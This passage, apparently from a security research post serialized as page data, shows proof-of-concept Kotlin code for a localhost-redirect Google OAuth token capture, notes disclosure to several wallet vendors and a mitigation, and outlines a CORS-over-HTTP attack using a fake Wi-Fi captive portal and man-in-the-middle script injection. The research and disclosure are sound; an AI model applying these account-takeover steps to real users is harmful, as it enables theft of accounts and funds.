     attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[100496],{"type":23,"tag":37,"props":100497,"children":100498},{"__ignoreMap":7},[100499,100526,100545,100552,100571,100582,100593,100624,100647,100694,100701,100708,100715,100755,100766,100773,100780,100799,100822,100833,100852,100867,100878,100898,100909,100926,100952,100976,100983,100994,101006,101019,101027,101035,101042,101049,101057,101065,101073,101081,101089,101097,101105,101112,101119,101127,101135,101143,101150,101157,101165,101172,101193,101201,101208,101215,101226,101250,101262,101279,101286,101293,101301,101309,101317,101345],{"type":23,"tag":41,"props":100500,"children":100501},{"class":43,"line":44},[100502,100506,100510,100514,100518,100522],{"type":23,"tag":41,"props":100503,"children":100504},{"style":64},[100505],{"type":28,"value":70439},{"type":23,"tag":41,"props":100507,"children":100508},{"style":64},[100509],{"type":28,"value":6205},{"type":23,"tag":41,"props":100511,"children":100512},{"style":114},[100513],{"type":28,"value":70448},{"type":23,"tag":41,"props":100515,"children":100516},{"style":70},[100517],{"type":28,"value":70453},{"type":23,"tag":41,"props":100519,"children":100520},{"style":94},[100521],{"type":28,"value":70458},{"type":23,"tag":41,"props":100523,"children":100524},{"style":70},[100525],{"type":28,"value":70463},{"type":23,"tag":41,"props":100527,"children":100528},{"class":43,"line":54},[100529,100533,100537,100541],{"type":23,"tag":41,"props":100530,"children":100531},{"style":64},[100532],{"type":28,"value":70471},{"type":23,"tag":41,"props":100534,"children":100535},{"style":70},[100536],{"type":28,"value":706},{"type":23,"tag":41,"props":100538,"children":100539},{"style":114},[100540],{"type":28,"value":70480},{"type":23,"tag":41,"props":100542,"children":100543},{"style":70},[100544],{"type":28,"value":70485},{"type":23,"tag":41,"props":100546,"children":100547},{"class":43,"line":76},[100548],{"type":23,"tag":41,"props":100549,"children":100550},{"emptyLinePlaceholder":18},[100551],{"type":28,"value":82},{"type":23,"tag":41,"props":100553,"children":100554},{"class":43,"line":85},[100555,100559,100563,100567],{"type":23,"tag":41,"props":100556,"children":100557},{"style":114},[100558],{"type":28,"value":70508},{"type":23,"tag":41,"props":100560,"children":100561},{"style":70},[100562],{"type":28,"value":70513},{"type":23,"tag":41,"props":100564,"children":100565},{"style":114},[100566],{"type":28,"value":70518},{"type":23,"tag":41,"props":100568,"children":100569},{"style":70},[100570],{"type":28,"value":102},{"type":23,"tag":41,"props":100572,"children":100573},{"class":43,"line":105},[100574,100578],{"type":23,"tag":41,"props":100575,"children":100576},{"style":58},[100577],{"type":28,"value":70530},{"type":23,"tag":41,"props":100579,"children":100580},{"style":70},[100581],{"type":28,"value":102},{"type":23,"tag":41,"props":100583,"children":100584},{"class":43,"line":155},[100585,100589],{"type":23,"tag":41,"props":100586,"children":100587},{"style":114},[100588],{"type":28,"value":70542},{"type":23,"tag":41,"props":100590,"children":100591},{"style":70},[100592],{"type":28,"value":7735},{"type":23,"tag":41,"props":100594,"children":100595},{"class":43,"line":186},[100596,100600,100604,100608,100612,100616,100620],{"type":23,"tag":41,"props":100597,"children":100598},{"style":70},[100599],{"type":28,"value":70554},{"type":23,"tag":41,"props":100601,"children":100602},{"style":114},[100603],{"type":28,"value":70559},{"type":23,"tag":41,"props":100605,"children":100606},{"style":70},[100607],{"type":28,"value":1737},{"type":23,"tag":41,"props":100609,"children":100610},{"style":735},[100611],{"type":28,"value":70568},{"type":23,"tag":41,"props":100613,"children":100614},{"style":70},[100615],{"type":28,"value":970},{"type":23,"tag":41,"props":100617,"children":100618},{"style":735},[100619],{"type":28,"value":70577},{"type":23,"tag":41,"props":100621,"children":100622},{"style":70},[100623],{"type":28,"value":1969},{"type":23,"tag":41,"props":100625,"children":100626},{"class":43,"line":195},[100627,100631,100635,100639,100643],{"type":23,"tag":41,"props":100628,"children":100629},{"style":70},[100630],{"type":28,"value":70589},{"type":23,"tag":41,"props":100632,"children":100633},{"style":64},[100634],{"type":28,"value":48405},{"type":23,"tag":41,"props":100636,"children":100637},{"style":70},[100638],{"type":28,"value":70598},{"type":23,"tag":41,"props":100640,"children":100641},{"style":94},[100642],{"type":28,"value":70603},{"type":23,"tag":41,"props":100644,"children":100645},{"style":70},[100646],{"type":28,"value":152},{"type":23,"tag":41,"props":100648,"children":100649},{"class":43,"line":905},[100650,100654,100658,100662,100666,100670,100674,100678,100682,100686,100690],{"type":23,"tag":41,"props":100651,"children":100652},{"style":70},[100653],{"type":28,"value":70554},{"type":23,"tag":41,"props":100655,"children":100656},{"style":114},[100657],{"type":28,"value":51449},{"type":23,"tag":41,"props":100659,"children":100660},{"style":70},[100661],{"type":28,"value":1737},{"type":23,"tag":41,"props":100663,"children":100664},{"style":735},[100665],{"type":28,"value":70568},{"type":23,"tag":41,"props":100667,"children":100668},{"style":70},[100669],{"type":28,"value":970},{"type":23,"tag":41,"props":100671,"children":100672},{"style":735},[100673],{"type":28,"value":70635},{"type":23,"tag":41,"props":100675,"children":100676},{"style":64},[100677],{"type":28,"value":34102},{"type":23,"tag":41,"props":100679,"children":100680},{"style":170},[100681],{"type":28,"value":70644},{"type":23,"tag":41,"props":100683,"children":100684},{"style":64},[100685],{"type":28,"value":34134},{"type":23,"tag":41,"props":100687,"children":100688},{"style":735},[100689],{"type":28,"value":20048},{"type":23,"tag":41,"props":100691,"children":100692},{"style":70},[100693],{"type":28,"value":70657},{"type":23,"tag":41,"props":100695,"children":100696},{"class":43,"line":922},[100697],{"type":23,"tag":41,"props":100698,"children":100699},{"style":70},[100700],{"type":28,"value":58881},{"type":23,"tag":41,"props":100702,"children":100703},{"class":43,"line":930},[100704],{"type":23,"tag":41,"props":100705,"children":100706},{"style":70},[100707],{"type":28,"value":3347},{"type":23,"tag":41,"props":100709,"children":100710},{"class":43,"line":939},[100711],{"type":23,"tag":41,"props":100712,"children":100713},{"emptyLinePlaceholder":18},[100714],{"type":28,"value":82},{"type":23,"tag":41,"props":100716,"children":100717},{"class":43,"line":947},[100718,100722,100726,100730,100734,100738,100742,100746,100751],{"type":23,"tag":41,"props":100719,"children":100720},{"style":64},[100721],{"type":28,"value":70694},{"type":23,"tag":41,"props":100723,"children":100724},{"style":70},[100725],{"type":28,"value":70720},{"type":23,"tag":41,"props":100727,"children":100728},{"style":170},[100729],{"type":28,"value":2381},{"type":23,"tag":41,"props":100731,"children":100732},{"style":114},[100733],{"type":28,"value":70729},{"type":23,"tag":41,"props":100735,"children":100736},{"style":70},[100737],{"type":28,"value":70734},{"type":23,"tag":41,"props":100739,"children":100740},{"style":114},[100741],{"type":28,"value":39204},{"type":23,"tag":41,"props":100743,"children":100744},{"style":70},[100745],{"type":28,"value":1737},{"type":23,"tag":41,"props":100747,"children":100748},{"style":735},[100749],{"type":28,"value":100750},"\"http://localhost:3000\"",{"type":23,"tag":41,"props":100752,"children":100753},{"style":70},[100754],{"type":28,"value":19700},{"type":23,"tag":41,"props":100756,"children":100757},{"class":43,"line":985},[100758,100762],{"type":23,"tag":41,"props":100759,"children":100760},{"style":114},[100761],{"type":28,"value":70751},{"type":23,"tag":41,"props":100763,"children":100764},{"style":70},[100765],{"type":28,"value":70756},{"type":23,"tag":41,"props":100767,"children":100768},{"class":43,"line":1058},[100769],{"type":23,"tag":41,"props":100770,"children":100771},{"style":70},[100772],{"type":28,"value":192},{"type":23,"tag":41,"props":100774,"children":100775},{"class":43,"line":1084},[100776],{"type":23,"tag":41,"props":100777,"children":100778},{"emptyLinePlaceholder":18},[100779],{"type":28,"value":82},{"type":23,"tag":41,"props":100781,"children":100782},{"class":43,"line":1102},[100783,100787,100791,100795],{"type":23,"tag":41,"props":100784,"children":100785},{"style":64},[100786],{"type":28,"value":70778},{"type":23,"tag":41,"props":100788,"children":100789},{"style":64},[100790],{"type":28,"value":6205},{"type":23,"tag":41,"props":100792,"children":100793},{"style":114},[100794],{"type":28,"value":70787},{"type":23,"tag":41,"props":100796,"children":100797},{"style":70},[100798],{"type":28,"value":1134},{"type":23,"tag":41,"props":100800,"children":100801},{"class":43,"line":1110},[100802,100806,100810,100814,100818],{"type":23,"tag":41,"props":100803,"children":100804},{"style":114},[100805],{"type":28,"value":70799},{"type":23,"tag":41,"props":100807,"children":100808},{"style":70},[100809],{"type":28,"value":70804},{"type":23,"tag":41,"props":100811,"children":100812},{"style":170},[100813],{"type":28,"value":2381},{"type":23,"tag":41,"props":100815,"children":100816},{"style":164},[100817],{"type":28,"value":70813},{"type":23,"tag":41,"props":100819,"children":100820},{"style":70},[100821],{"type":28,"value":152},{"type":23,"tag":41,"props":100823,"children":100824},{"class":43,"line":1118},[100825,100829],{"type":23,"tag":41,"props":100826,"children":100827},{"style":114},[100828],{"type":28,"value":70825},{"type":23,"tag":41,"props":100830,"children":100831},{"style":70},[100832],{"type":28,"value":102},{"type":23,"tag":41,"props":100834,"children":100835},{"class":43,"line":1137},[100836,100840,100844,100848],{"type":23,"tag":41,"props":100837,"children":100838},{"style":64},[100839],{"type":28,"value":70837},{"type":23,"tag":41,"props":100841,"children":100842},{"style":70},[100843],{"type":28,"value":1737},{"type":23,"tag":41,"props":100845,"children":100846},{"style":735},[100847],{"type":28,"value":70846},{"type":23,"tag":41,"props":100849,"children":100850},{"style":70},[100851],{"type":28,"value":152},{"type":23,"tag":41,"props":100853,"children":100854},{"class":43,"line":1163},[100855,100859,100863],{"type":23,"tag":41,"props":100856,"children":100857},{"style":70},[100858],{"type":28,"value":70858},{"type":23,"tag":41,"props":100860,"children":100861},{"style":114},[100862],{"type":28,"value":70863},{"type":23,"tag":41,"props":100864,"children":100865},{"style":70},[100866],{"type":28,"value":102},{"type":23,"tag":41,"props":100868,"children":100869},{"class":43,"line":1188},[100870,100874],{"type":23,"tag":41,"props":100871,"children":100872},{"style":114},[100873],{"type":28,"value":70875},{"type":23,"tag":41,"props":100875,"children":100876},{"style":70},[100877],{"type":28,"value":102},{"type":23,"tag":41,"props":100879,"children":100880},{"class":43,"line":1979},[100881,100885,100889,100894],{"type":23,"tag":41,"props":100882,"children":100883},{"style":114},[100884],{"type":28,"value":70952},{"type":23,"tag":41,"props":100886,"children":100887},{"style":70},[100888],{"type":28,"value":1737},{"type":23,"tag":41,"props":100890,"children":100891},{"style":735},[100892],{"type":28,"value":100893},"\"Test\"",{"type":23,"tag":41,"props":100895,"children":100896},{"style":70},[100897],{"type":28,"value":1969},{"type":23,"tag":41,"props":100899,"children":100900},{"class":43,"line":2002},[100901,100905],{"type":23,"tag":41,"props":100902,"children":100903},{"style":114},[100904],{"type":28,"value":71018},{"type":23,"tag":41,"props":100906,"children":100907},{"style":70},[100908],{"type":28,"value":102},{"type":23,"tag":41,"props":100910,"children":100911},{"class":43,"line":3835},[100912,100917,100921],{"type":23,"tag":41,"props":100913,"children":100914},{"style":70},[100915],{"type":28,"value":100916},"                                src ",{"type":23,"tag":41,"props":100918,"children":100919},{"style":170},[100920],{"type":28,"value":2381},{"type":23,"tag":41,"props":100922,"children":100923},{"style":735},[100924],{"type":28,"value":100925}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":41,"props":100927,"children":100928},{"class":43,"line":3895},[100929,100934,100939,100943,100947],{"type":23,"tag":41,"props":100930,"children":100931},{"style":70},[100932],{"type":28,"value":100933},"                                attributes[",{"type":23,"tag":41,"props":100935,"children":100936},{"style":735},[100937],{"type":28,"value":100938},"\"async\"",{"type":23,"tag":41,"props":100940,"children":100941},{"style":70},[100942],{"type":28,"value":8659},{"type":23,"tag":41,"props":100944,"children":100945},{"style":170},[100946],{"type":28,"value":2381},{"type":23,"tag":41,"props":100948,"children":100949},{"style":735},[100950],{"type":28,"value":100951}," \"\"\n",{"type":23,"tag":41,"props":100953,"children":100954},{"class":43,"line":9044},[100955,100959,100964,100968,100972],{"type":23,"tag":41,"props":100956,"children":100957},{"style":70},[100958],{"type":28,"value":100933},{"type":23,"tag":41,"props":100960,"children":100961},{"style":735},[100962],{"type":28,"value":100963},"\"defer\"",{"type":23,"tag":41,"props":100965,"children":100966},{"style":70},[100967],{"type":28,"value":8659},{"type":23,"tag":41,"props":100969,"children":100970},{"style":170},[100971],{"type":28,"value":2381},{"type":23,"tag":41,"props":100973,"children":100974},{"style":735},[100975],{"type":28,"value":100951},{"type":23,"tag":41,"props":100977,"children":100978},{"class":43,"line":9061},[100979],{"type":23,"tag":41,"props":100980,"children":100981},{"style":70},[100982],{"type":28,"value":71043},{"type":23,"tag":41,"props":100984,"children":100985},{"class":43,"line":9106},[100986,100990],{"type":23,"tag":41,"props":100987,"children":100988},{"style":114},[100989],{"type":28,"value":71018},{"type":23,"tag":41,"props":100991,"children":100992},{"style":70},[100993],{"type":28,"value":102},{"type":23,"tag":41,"props":100995,"children":100996},{"class":43,"line":9212},[100997,101002],{"type":23,"tag":41,"props":100998,"children":100999},{"style":114},[101000],{"type":28,"value":101001},"                                unsafe",{"type":23,"tag":41,"props":101003,"children":101004},{"style":70},[101005],{"type":28,"value":102},{"type":23,"tag":41,"props":101007,"children":101008},{"class":43,"line":23496},[101009,101014],{"type":23,"tag":41,"props":101010,"children":101011},{"style":170},[101012],{"type":28,"value":101013},"                                    +",{"type":23,"tag":41,"props":101015,"children":101016},{"style":735},[101017],{"type":28,"value":101018},"\"\"\"\n",{"type":23,"tag":41,"props":101020,"children":101021},{"class":43,"line":23531},[101022],{"type":23,"tag":41,"props":101023,"children":101024},{"style":735},[101025],{"type":28,"value":101026},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":41,"props":101028,"children":101029},{"class":43,"line":23539},[101030],{"type":23,"tag":41,"props":101031,"children":101032},{"style":735},[101033],{"type":28,"value":101034},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":41,"props":101036,"children":101037},{"class":43,"line":23547},[101038],{"type":23,"tag":41,"props":101039,"children":101040},{"style":735},[101041],{"type":28,"value":192},{"type":23,"tag":41,"props":101043,"children":101044},{"class":43,"line":23556},[101045],{"type":23,"tag":41,"props":101046,"children":101047},{"emptyLinePlaceholder":18},[101048],{"type":28,"value":82},{"type":23,"tag":41,"props":101050,"children":101051},{"class":43,"line":23598},[101052],{"type":23,"tag":41,"props":101053,"children":101054},{"style":735},[101055],{"type":28,"value":101056},"    window.onload = async function () {\n",{"type":23,"tag":41,"props":101058,"children":101059},{"class":43,"line":23631},[101060],{"type":23,"tag":41,"props":101061,"children":101062},{"style":735},[101063],{"type":28,"value":101064},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":41,"props":101066,"children":101067},{"class":43,"line":23639},[101068],{"type":23,"tag":41,"props":101069,"children":101070},{"style":735},[101071],{"type":28,"value":101072},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":41,"props":101074,"children":101075},{"class":43,"line":23647},[101076],{"type":23,"tag":41,"props":101077,"children":101078},{"style":735},[101079],{"type":28,"value":101080},"      google.accounts.id.initialize({\n",{"type":23,"tag":41,"props":101082,"children":101083},{"class":43,"line":23656},[101084],{"type":23,"tag":41,"props":101085,"children":101086},{"style":735},[101087],{"type":28,"value":101088},"        client_id: client_id,\n",{"type":23,"tag":41,"props":101090,"children":101091},{"class":43,"line":23732},[101092],{"type":23,"tag":41,"props":101093,"children":101094},{"style":735},[101095],{"type":28,"value":101096},"        callback: handleCredentialResponse,\n",{"type":23,"tag":41,"props":101098,"children":101099},{"class":43,"line":23765},[101100],{"type":23,"tag":41,"props":101101,"children":101102},{"style":735},[101103],{"type":28,"value":101104},"        auto_select: true\n",{"type":23,"tag":41,"props":101106,"children":101107},{"class":43,"line":23773},[101108],{"type":23,"tag":41,"props":101109,"children":101110},{"style":735},[101111],{"type":28,"value":7295},{"type":23,"tag":41,"props":101113,"children":101114},{"class":43,"line":23781},[101115],{"type":23,"tag":41,"props":101116,"children":101117},{"emptyLinePlaceholder":18},[101118],{"type":28,"value":82},{"type":23,"tag":41,"props":101120,"children":101121},{"class":43,"line":23818},[101122],{"type":23,"tag":41,"props":101123,"children":101124},{"style":735},[101125],{"type":28,"value":101126},"      google.accounts.id.renderButton(\n",{"type":23,"tag":41,"props":101128,"children":101129},{"class":43,"line":23831},[101130],{"type":23,"tag":41,"props":101131,"children":101132},{"style":735},[101133],{"type":28,"value":101134},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":41,"props":101136,"children":101137},{"class":43,"line":23844},[101138],{"type":23,"tag":41,"props":101139,"children":101140},{"style":735},[101141],{"type":28,"value":101142},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":41,"props":101144,"children":101145},{"class":43,"line":23857},[101146],{"type":23,"tag":41,"props":101147,"children":101148},{"style":735},[101149],{"type":28,"value":6765},{"type":23,"tag":41,"props":101151,"children":101152},{"class":43,"line":23911},[101153],{"type":23,"tag":41,"props":101154,"children":101155},{"emptyLinePlaceholder":18},[101156],{"type":28,"value":82},{"type":23,"tag":41,"props":101158,"children":101159},{"class":43,"line":23920},[101160],{"type":23,"tag":41,"props":101161,"children":101162},{"style":735},[101163],{"type":28,"value":101164},"      google.accounts.id.prompt();\n",{"type":23,"tag":41,"props":101166,"children":101167},{"class":43,"line":32275},[101168],{"type":23,"tag":41,"props":101169,"children":101170},{"style":735},[101171],{"type":28,"value":38990},{"type":23,"tag":41,"props":101173,"children":101174},{"class":43,"line":32296},[101175,101180,101184,101189],{"type":23,"tag":41,"props":101176,"children":101177},{"style":735},[101178],{"type":28,"value":101179},"                                    \"\"\"",{"type":23,"tag":41,"props":101181,"children":101182},{"style":70},[101183],{"type":28,"value":706},{"type":23,"tag":41,"props":101185,"children":101186},{"style":114},[101187],{"type":28,"value":101188},"trimIndent",{"type":23,"tag":41,"props":101190,"children":101191},{"style":70},[101192],{"type":28,"value":7735},{"type":23,"tag":41,"props":101194,"children":101195},{"class":43,"line":80946},[101196],{"type":23,"tag":41,"props":101197,"children":101198},{"style":70},[101199],{"type":28,"value":101200},"                                }\n",{"type":23,"tag":41,"props":101202,"children":101203},{"class":43,"line":80959},[101204],{"type":23,"tag":41,"props":101205,"children":101206},{"style":70},[101207],{"type":28,"value":71043},{"type":23,"tag":41,"props":101209,"children":101210},{"class":43,"line":80967},[101211],{"type":23,"tag":41,"props":101212,"children":101213},{"style":70},[101214],{"type":28,"value":70973},{"type":23,"tag":41,"props":101216,"children":101217},{"class":43,"line":80975},[101218,101222],{"type":23,"tag":41,"props":101219,"children":101220},{"style":114},[101221],{"type":28,"value":70981},{"type":23,"tag":41,"props":101223,"children":101224},{"style":70},[101225],{"type":28,"value":102},{"type":23,"tag":41,"props":101227,"children":101228},{"class":43,"line":80983},[101229,101233,101237,101241,101246],{"type":23,"tag":41,"props":101230,"children":101231},{"style":114},[101232],{"type":28,"value":70993},{"type":23,"tag":41,"props":101234,"children":101235},{"style":70},[101236],{"type":28,"value":9584},{"type":23,"tag":41,"props":101238,"children":101239},{"style":170},[101240],{"type":28,"value":4383},{"type":23,"tag":41,"props":101242,"children":101243},{"style":735},[101244],{"type":28,"value":101245},"\"Login here:\"",{"type":23,"tag":41,"props":101247,"children":101248},{"style":70},[101249],{"type":28,"value":9594},{"type":23,"tag":41,"props":101251,"children":101252},{"class":43,"line":81023},[101253,101258],{"type":23,"tag":41,"props":101254,"children":101255},{"style":114},[101256],{"type":28,"value":101257},"                            div",{"type":23,"tag":41,"props":101259,"children":101260},{"style":70},[101261],{"type":28,"value":102},{"type":23,"tag":41,"props":101263,"children":101264},{"class":43,"line":81031},[101265,101270,101274],{"type":23,"tag":41,"props":101266,"children":101267},{"style":70},[101268],{"type":28,"value":101269},"                                id ",{"type":23,"tag":41,"props":101271,"children":101272},{"style":170},[101273],{"type":28,"value":2381},{"type":23,"tag":41,"props":101275,"children":101276},{"style":735},[101277],{"type":28,"value":101278}," \"g_id_signin\"\n",{"type":23,"tag":41,"props":101280,"children":101281},{"class":43,"line":88217},[101282],{"type":23,"tag":41,"props":101283,"children":101284},{"style":70},[101285],{"type":28,"value":71043},{"type":23,"tag":41,"props":101287,"children":101288},{"class":43,"line":88225},[101289],{"type":23,"tag":41,"props":101290,"children":101291},{"style":70},[101292],{"type":28,"value":70973},{"type":23,"tag":41,"props":101294,"children":101296},{"class":43,"line":101295},62,[101297],{"type":23,"tag":41,"props":101298,"children":101299},{"style":70},[101300],{"type":28,"value":71058},{"type":23,"tag":41,"props":101302,"children":101304},{"class":43,"line":101303},63,[101305],{"type":23,"tag":41,"props":101306,"children":101307},{"style":70},[101308],{"type":28,"value":71066},{"type":23,"tag":41,"props":101310,"children":101312},{"class":43,"line":101311},64,[101313],{"type":23,"tag":41,"props":101314,"children":101315},{"style":70},[101316],{"type":28,"value":58881},{"type":23,"tag":41,"props":101318,"children":101320},{"class":43,"line":101319},65,[101321,101325,101329,101333,101337,101341],{"type":23,"tag":41,"props":101322,"children":101323},{"style":70},[101324],{"type":28,"value":71081},{"type":23,"tag":41,"props":101326,"children":101327},{"style":114},[101328],{"type":28,"value":71086},{"type":23,"tag":41,"props":101330,"children":101331},{"style":70},[101332],{"type":28,"value":71091},{"type":23,"tag":41,"props":101334,"children":101335},{"style":170},[101336],{"type":28,"value":2381},{"type":23,"tag":41,"props":101338,"children":101339},{"style":64},[101340],{"type":28,"value":915},{"type":23,"tag":41,"props":101342,"children":101343},{"style":70},[101344],{"type":28,"value":1969},{"type":23,"tag":41,"props":101346,"children":101348},{"class":43,"line":101347},66,[101349],{"type":23,"tag":41,"props":101350,"children":101351},{"style":70},[101352],{"type":28,"value":192},{"type":23,"tag":24,"props":101354,"children":101355},{},[101356],{"type":28,"value":101357},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":101359,"children":101360},{},[101361],{"type":28,"value":101362},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":546,"props":101364,"children":101366},{"id":101365},"how-to-mitigate",[101367],{"type":28,"value":101368},"How to Mitigate",{"type":23,"tag":24,"props":101370,"children":101371},{},[101372],{"type":28,"value":101373},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":446,"props":101375,"children":101377},{"id":101376},"exploiting-cors",[101378],{"type":28,"value":101379},"Exploiting CORS",{"type":23,"tag":24,"props":101381,"children":101382},{},[101383],{"type":28,"value":101384},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":101386,"children":101387},{},[101388,101390,101396],{"type":28,"value":101389},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":37,"props":101391,"children":101393},{"className":101392},[],[101394],{"type":28,"value":101395},"http://",{"type":28,"value":101397}," schema for any subdomain:",{"type":23,"tag":31,"props":101399,"children":101403},{"className":101400,"code":101401,"language":101402,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[101404],{"type":23,"tag":37,"props":101405,"children":101406},{"__ignoreMap":7},[101407,101415,101423,101431],{"type":23,"tag":41,"props":101408,"children":101409},{"class":43,"line":44},[101410],{"type":23,"tag":41,"props":101411,"children":101412},{},[101413],{"type":28,"value":101414},"HTTP 200 OK\n",{"type":23,"tag":41,"props":101416,"children":101417},{"class":43,"line":54},[101418],{"type":23,"tag":41,"props":101419,"children":101420},{},[101421],{"type":28,"value":101422},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":41,"props":101424,"children":101425},{"class":43,"line":76},[101426],{"type":23,"tag":41,"props":101427,"children":101428},{},[101429],{"type":28,"value":101430},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":41,"props":101432,"children":101433},{"class":43,"line":85},[101434],{"type":23,"tag":41,"props":101435,"children":101436},{},[101437],{"type":28,"value":10316},{"type":23,"tag":546,"props":101439,"children":101441},{"id":101440},"cors-misconfiguration-by-lack-of-tls",[101442],{"type":28,"value":101443},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":101445,"children":101446},{},[101447,101449,101455],{"type":28,"value":101448},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":37,"props":101450,"children":101452},{"className":101451},[],[101453],{"type":28,"value":101454},"exchange.com",{"type":28,"value":101456}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":101458,"children":101459},{},[101460],{"type":28,"value":101461},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":417,"props":101463,"children":101464},{},[101465,101485],{"type":23,"tag":421,"props":101466,"children":101467},{},[101468,101470,101475,101477,101483],{"type":28,"value":101469},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":37,"props":101471,"children":101473},{"className":101472},[],[101474],{"type":28,"value":101395},{"type":28,"value":101476}," --> ",{"type":23,"tag":37,"props":101478,"children":101480},{"className":101479},[],[101481],{"type":28,"value":101482},"https://",{"type":28,"value":101484}," requests, even if same-site",{"type":23,"tag":421,"props":101486,"children":101487},{},[101488,101490],{"type":28,"value":101489},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":37,"props":101491,"children":101493},{"className":101492},[],[101494],{"type":28,"value":37760},{"type":23,"tag":546,"props":101496,"children":101498},{"id":101497},"exploit-1",[101499],{"type":28,"value":99829},{"type":23,"tag":24,"props":101501,"children":101502},{},[101503],{"type":28,"value":101504},"To exploit it, we must follow some steps:",{"type":23,"tag":5436,"props":101506,"children":101507},{},[101508,101513,101518],{"type":23,"tag":421,"props":101509,"children":101510},{},[101511],{"type":28,"value":101512},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":421,"props":101514,"children":101515},{},[101516],{"type":28,"value":101517},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":421,"props":101519,"children":101520},{},[101521,101523,101528],{"type":28,"value":101522},"Use ",{"type":23,"tag":37,"props":101524,"children":101526},{"className":101525},[],[101527],{"type":28,"value":37760},{"type":28,"value":101529}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":101531,"children":101532},{},[101533],{"type":28,"value":101534},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":101536,"children":101537},{},[101538,101540,101545],{"type":28,"value":101539},"Once the redirect to the ",{"type":23,"tag":37,"props":101541,"children":101543},{"className":101542},[],[101544],{"type":28,"value":101395},{"type":28,"value":101546}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS 